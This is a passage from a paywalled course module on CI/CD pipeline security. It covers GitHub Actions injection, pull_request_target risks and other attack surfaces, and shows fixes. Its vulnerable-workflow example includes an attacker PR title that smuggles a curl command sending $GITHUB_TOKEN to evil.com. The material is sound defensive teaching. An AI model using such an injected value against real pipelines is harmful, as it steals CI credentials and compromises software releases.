The CI/CD pipeline is the single system that can build and deploy your production code. Compromise it and you control every release, every commit, every secret your pipelines touch. Attackers know this β supply chain attacks via pipeline have moved from rare to common. This module covers the specific vulnerability classes in pipelines and the hardening that actually works.
Why pipelines are high-value targets
- They hold credentials to production: cloud deploy roles, registry push, prod databases
- They run untrusted input: PR code from anyone, dependencies from open-source registries
- They have build-time network and filesystem access β an attacker who executes in a build runner touches everything
- Compromising a widely-shared pipeline (reusable workflow, shared library) cascades to many downstream repos
The attack surface
- Pipeline config injection β YAML that interprets untrusted input (PR titles, branch names, commit messages) as shell
- Pwn-requests β PRs from forks that trigger privileged workflows via
pull_request_target - Third-party actions/plugins β pulling
@v1tag (mutable) that gets compromised later - Secrets leakage β secrets printed in logs, exported to env vars captured by a compromised step
- Runner compromise β self-hosted runners shared across workflows, not ephemeral
- Registry access β push credentials that can be abused to publish malicious images
- OIDC trust misconfiguration β cloud roles federated to CI with overly broad trust policies
Pipeline config injection β the classic
# BAD β vulnerable to injection
- run: echo "Processing PR ${{ github.event.pull_request.title }}"
# An attacker PR with title: a"; curl evil.com/$GITHUB_TOKEN #
# Runs in the workflow context with full token
# GOOD β pass via env var (never interpolated into shell)
- run: echo "Processing PR $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
Rule: never directly interpolate ${{ github.event.* }} or ${{ github.head_ref }} into shell. Route through environment variables.
Pwn-requests β pull_request_target
GitHub’s pull_request trigger runs in the PR’s context (limited permissions, no secrets from the base repo). pull_request_target runs in the base repo’s context (full secrets, write access to the repo). Attackers target workflows using pull_request_target that also check out PR code β the PR can inject malicious code that runs with base-repo privileges.
Continue reading with Basic tier (βΉ499/month)
You've read 23% of this module. Unlock the remaining deep-dive, quiz, and every other Intermediate module.